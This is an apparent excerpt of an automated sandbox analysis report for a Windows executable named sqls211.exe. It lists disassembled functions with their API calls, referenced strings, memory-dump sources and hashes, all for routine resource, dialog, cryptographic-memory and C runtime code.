DeleteObject.GDI32(00000000), ref: 00CDB744
DeleteObject.GDI32(00000000), ref: 00CDB767

Part of subcall function 00CDA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00CDB73D,00000066), ref: 00CDA6D5
Part of subcall function 00CDA6C2: SizeofResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA6EC
Part of subcall function 00CDA6C2: LoadResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA703
Part of subcall function 00CDA6C2: LockResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA712
Part of subcall function 00CDA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CDB73D,00000066), ref: 00CDA72D
Part of subcall function 00CDA6C2: GlobalLock.KERNEL32(00000000), ref: 00CDA73E
Part of subcall function 00CDA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00CDA762
Part of subcall function 00CDA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CDA7A7
Part of subcall function 00CDA6C2: GlobalUnlock.KERNEL32(00000000), ref: 00CDA7C6
Part of subcall function 00CDA6C2: GlobalFree.KERNEL32(00000000), ref: 00CDA7CD

Strings

], xrefs: 00CDB71A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: ad008849e1e84113d461527e860f1e63f38dea892afd6105636a8c51435e383b
Instruction ID: f467d0c27936611222048fad744141ad3d0d4674a3896fb775dc41710923b7fc
Opcode Fuzzy Hash: ad008849e1e84113d461527e860f1e63f38dea892afd6105636a8c51435e383b
Instruction Fuzzy Hash: 1801C436500601A7C7217B745D09A6F7A79ABC0752F0A0016FA10A7391DF25CE065272

Function 00CDD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

EndDialog.USER32(?,00000001), ref: 00CDD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00CDD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CDD675
SetDlgItemTextW.USER32(?,00000068), ref: 00CDD684

Strings

RENAMEDLG, xrefs: 00CDD618

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 53faf220effbfdcf91c67346304b5ee9f943dc442f52168cbc13d1275bc57451
Instruction ID: 8bd6bbc28ddbc0b97e7c700c149778381c7b3983581466ecb2db8af0815c5f71
Opcode Fuzzy Hash: 53faf220effbfdcf91c67346304b5ee9f943dc442f52168cbc13d1275bc57451
Instruction Fuzzy Hash: 0E012D33648314BAD2214F659D09F57B76DEB6AB02F110816F306E12D0C6A1DA1797F5

Function 00CE7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00CE7E24,00000000,?,00CE7DC4,00000000,00CFC300,0000000C,00CE7F1B,00000000,00000002), ref: 00CE7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CE7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00CE7E24,00000000,?,00CE7DC4,00000000,00CFC300,0000000C,00CE7F1B,00000000,00000002), ref: 00CE7EC9

Strings

CorExitProcess, xrefs: 00CE7E9E
mscoree.dll, xrefs: 00CE7E8C

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 515e8870d203813e153e6bd98907f4ac23b65b25e7924788b223696284bce7d6
Instruction ID: f679381e63df317298eb76b13a65c9f3ee617029937832576dcb1c7da6185e33
Opcode Fuzzy Hash: 515e8870d203813e153e6bd98907f4ac23b65b25e7924788b223696284bce7d6
Instruction Fuzzy Hash: 70F04F31A00258BFCB15ABA1DC09BBEBFB4EB44715F0041AAF805A2260DB309F40CA92

Function 00CCF2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD0836
Part of subcall function 00CD081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CCF2D8,Crypt32.dll,00000000,00CCF35C,?,?,00CCF33E,?,?,?), ref: 00CD0858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CCF2E4
GetProcAddress.KERNEL32(00D081C8,CryptUnprotectMemory), ref: 00CCF2F4

Strings

Crypt32.dll, xrefs: 00CCF2CE
CryptProtectMemory, xrefs: 00CCF2DE
CryptUnprotectMemory, xrefs: 00CCF2EA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 377ab341597340c7665a507bc8b4f9a7425c9ab9850eac5f418c093c24e566e6
Instruction ID: 7f96bdb2a5efab659707fd71b9d336ac5778cd98872596ca605f7cab9007a85c
Opcode Fuzzy Hash: 377ab341597340c7665a507bc8b4f9a7425c9ab9850eac5f418c093c24e566e6
Instruction Fuzzy Hash: 99E02630801785BECB209F79D80CB217ED46F04700F14882EF1DA93340CAB0D141DB02

Function 00CE2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CE2CA1
___AdjustPointer.LIBCMT ref: 00CE2CC4
_abort.LIBCMT ref: 00CE2D12
___AdjustPointer.LIBCMT ref: 00CE2D60

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: fe088f62782ea8c7c5b6ec21eb2d965a0c712a11c46260b3b67884cd2e29a480
Instruction ID: 295195b47ea4778bb7cecedc7b8f90dbaa315d9ff3c0a9f332f1c8745914a209
Opcode Fuzzy Hash: fe088f62782ea8c7c5b6ec21eb2d965a0c712a11c46260b3b67884cd2e29a480
Instruction Fuzzy Hash: 9151F572600296AFEB298F16DC45B7AB7A9FF14310F34412DEE16472A1D771EE80E790

Function 00CEBF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00CEBF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CEBF5C

Part of subcall function 00CE8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00CECA2C,00000000,?,00CE6CBE,?,00000008,?,00CE91E0,?,?,?), ref: 00CE8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00CEBF82
_free.LIBCMT ref: 00CEBF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00CEBFA4

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 970310c8a2e49b5fe8c78250903b785cf4f676521761b80e7ccdd641dc74dff2
Instruction ID: 8c4043415e66c6fa6827c4c67a8fd431d70be9de0a163b5fc7a4104fdde0839d
Opcode Fuzzy Hash: 970310c8a2e49b5fe8c78250903b785cf4f676521761b80e7ccdd641dc74dff2
Instruction Fuzzy Hash: 5601F27A6012917F27212AFB5C8DE7F7A6DEEC2BA03254129F908D3200EF60CE01D5B1

Function 00CE9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00D01030,00000200,00CE91AD,00CE617E,?,?,?,?,00CCD984,?,?,?,00000004,00CCD710,?), ref: 00CE986E
_free.LIBCMT ref: 00CE98A3
_free.LIBCMT ref: 00CE98CA
SetLastError.KERNEL32(00000000,00CF3A34,00000050,00D01030), ref: 00CE98D7
SetLastError.KERNEL32(00000000,00CF3A34,00000050,00D01030), ref: 00CE98E0

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: c8bb40283c65e51d808276a886e0abcb2764effaaa267eb84f4e898a98b32d47
Instruction ID: ac248acbc2ea9a7882ee85b15383301b9dabeb8db4894825fff335374fa8b23f
Opcode Fuzzy Hash: c8bb40283c65e51d808276a886e0abcb2764effaaa267eb84f4e898a98b32d47
Instruction Fuzzy Hash: FD01F4361446C17BC23223676C85B3F252DDFD3774B250136F525921F2EE748E05A166

Function 00CD0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00CD11CF: ResetEvent.KERNEL32(?), ref: 00CD11E1
Part of subcall function 00CD11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00CD11F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00CD0F21
CloseHandle.KERNEL32(?,?), ref: 00CD0F3B
DeleteCriticalSection.KERNEL32(?), ref: 00CD0F54
CloseHandle.KERNEL32(?), ref: 00CD0F60
CloseHandle.KERNEL32(?), ref: 00CD0F6C

Part of subcall function 00CD0FE4: WaitForSingleObject.KERNEL32(?,000000FF,00CD1206,?), ref: 00CD0FEA
Part of subcall function 00CD0FE4: GetLastError.KERNEL32(?), ref: 00CD0FF6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 7b42f802de7b3d92642bf5d159e101b92e0495e0dbd144e4d0399e7c3dbb7ee4
Instruction ID: 69bc1a2d8e147d72c3519467edd160327076d1944e786d843cb0dbd43cc5539f
Opcode Fuzzy Hash: 7b42f802de7b3d92642bf5d159e101b92e0495e0dbd144e4d0399e7c3dbb7ee4
Instruction Fuzzy Hash: 71015271500744FFC7229B64DC84FDAFBA9FB08710F10092AF26B92160CB757A45DA55

Function 00CEC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CEC817

Part of subcall function 00CE8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34), ref: 00CE8DE2
Part of subcall function 00CE8DCC: GetLastError.KERNEL32(00CF3A34,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34,00CF3A34), ref: 00CE8DF4

_free.LIBCMT ref: 00CEC829
_free.LIBCMT ref: 00CEC83B
_free.LIBCMT ref: 00CEC84D
_free.LIBCMT ref: 00CEC85F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 65a3389d8966381823ac69b5ccf42cacc89f42133234f446a2030d5895416df5
Instruction ID: 5c0c0e216d8651f804d26467eebcd25c89a02ebff33d4f783bd9cb9e3c5d9bf7
Opcode Fuzzy Hash: 65a3389d8966381823ac69b5ccf42cacc89f42133234f446a2030d5895416df5
Instruction Fuzzy Hash: 54F09632500291ABC734DB6AF9C5E1B73EABB00B147580819F11CD75A2CF70FE80CA51

Function 00CD1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CD1FE5
_wcslen.LIBCMT ref: 00CD1FF6
_wcslen.LIBCMT ref: 00CD2006
_wcslen.LIBCMT ref: 00CD2014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00CCB371,?,?,00000000,?,?,?), ref: 00CD202F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 144ee20ec35a5efa2a38232e60ff73bf87ad946e968d2b504ecb3e9e5e830549
Instruction ID: 3f29670ca517987d33570b52eb38ec9c3ead43cd6d3289fcf1ecf6db1f3aba69
Opcode Fuzzy Hash: 144ee20ec35a5efa2a38232e60ff73bf87ad946e968d2b504ecb3e9e5e830549
Instruction Fuzzy Hash: C7F03033008094BFCF265F52EC09DCE7F26EB54770B118416F61A5B061CB72E661E6D0

Function 00CDB568 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDB58A
IsDialogMessageW.USER32(00010424,?), ref: 00CDB59E
TranslateMessage.USER32(?), ref: 00CDB5AC
DispatchMessageW.USER32(?), ref: 00CDB5B6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 1feca4e170516ebf112a2478fc45ee8bcfd876b6b5765fa578a6209d983b58c9
Instruction ID: 8e9f454b720d2cbc9fec9177e16d73d356d9fc0f8cab845b38da9d1ad43bb21b
Opcode Fuzzy Hash: 1feca4e170516ebf112a2478fc45ee8bcfd876b6b5765fa578a6209d983b58c9
Instruction Fuzzy Hash: 35F0BD71A0121AAB8B209FE5AD4CEEB7FACEE156917004415B519D2210EB38D606CBB4

Function 00CE8900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CE891E

Part of subcall function 00CE8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34), ref: 00CE8DE2
Part of subcall function 00CE8DCC: GetLastError.KERNEL32(00CF3A34,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34,00CF3A34), ref: 00CE8DF4

_free.LIBCMT ref: 00CE8930
_free.LIBCMT ref: 00CE8943
_free.LIBCMT ref: 00CE8954
_free.LIBCMT ref: 00CE8965

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4b96daab27f3eab2e6e4730b50dcf96cab7028e22bb4a3c222693175ddcb2c52
Instruction ID: 6fe375846a9ec809a7d2ba10b99151e87068a9b93c8fa5f4a5b083538cc18722
Opcode Fuzzy Hash: 4b96daab27f3eab2e6e4730b50dcf96cab7028e22bb4a3c222693175ddcb2c52
Instruction Fuzzy Hash: 8AF0DA72810767EB87666F15FC0253D3BA2FB347253050606F518D67B2CB328A46EBA6

Function 00CD15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CD17BC
_swprintf.LIBCMT ref: 00CD186B

Strings

%ls, xrefs: 00CD1641, 00CD1657
%s: %s, xrefs: 00CD17CB

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 88cec39c72c5283f98272d626c4f5310bfb5ee1aa8a00634171d1e3466916dd4
Instruction ID: c5e3a6082581030df05f3c06fb84e5ce5b04b4cf127bc6fbaaa8cbc8ddf14a7e
Opcode Fuzzy Hash: 88cec39c72c5283f98272d626c4f5310bfb5ee1aa8a00634171d1e3466916dd4
Instruction Fuzzy Hash: C4515B31288304F6F6216A918D46F367265EB05B00F2D450BFF96A46F1D9B2E912F71B

Function 00CE7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\sqls211.exe,00000104), ref: 00CE7FAE
_free.LIBCMT ref: 00CE8079
_free.LIBCMT ref: 00CE8083

Strings

C:\Users\user\AppData\Local\Temp\sqls211.exe, xrefs: 00CE7FA5, 00CE7FAC, 00CE7FDB, 00CE8013

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\sqls211.exe
API String ID: 2506810119-3746218536
Opcode ID: bb3d66960f4e557ee8f9543dda997f822e1c255dcefae02a8da196a28c68a318
Instruction ID: 387d927f480fabf4b5090ee5ed7348c62a5aef3065347b6474192da343cc20bc
Opcode Fuzzy Hash: bb3d66960f4e557ee8f9543dda997f822e1c255dcefae02a8da196a28c68a318
Instruction Fuzzy Hash: 9631BF71A00298AFCB21DF9ADC80DAEBBBCEF94310F104166F91897211DB718E49DB61

Function 00CE31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00CE31FB
_abort.LIBCMT ref: 00CE3306

Strings

RCC, xrefs: 00CE3215
MOC, xrefs: 00CE320D

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: EncodePointer_abort
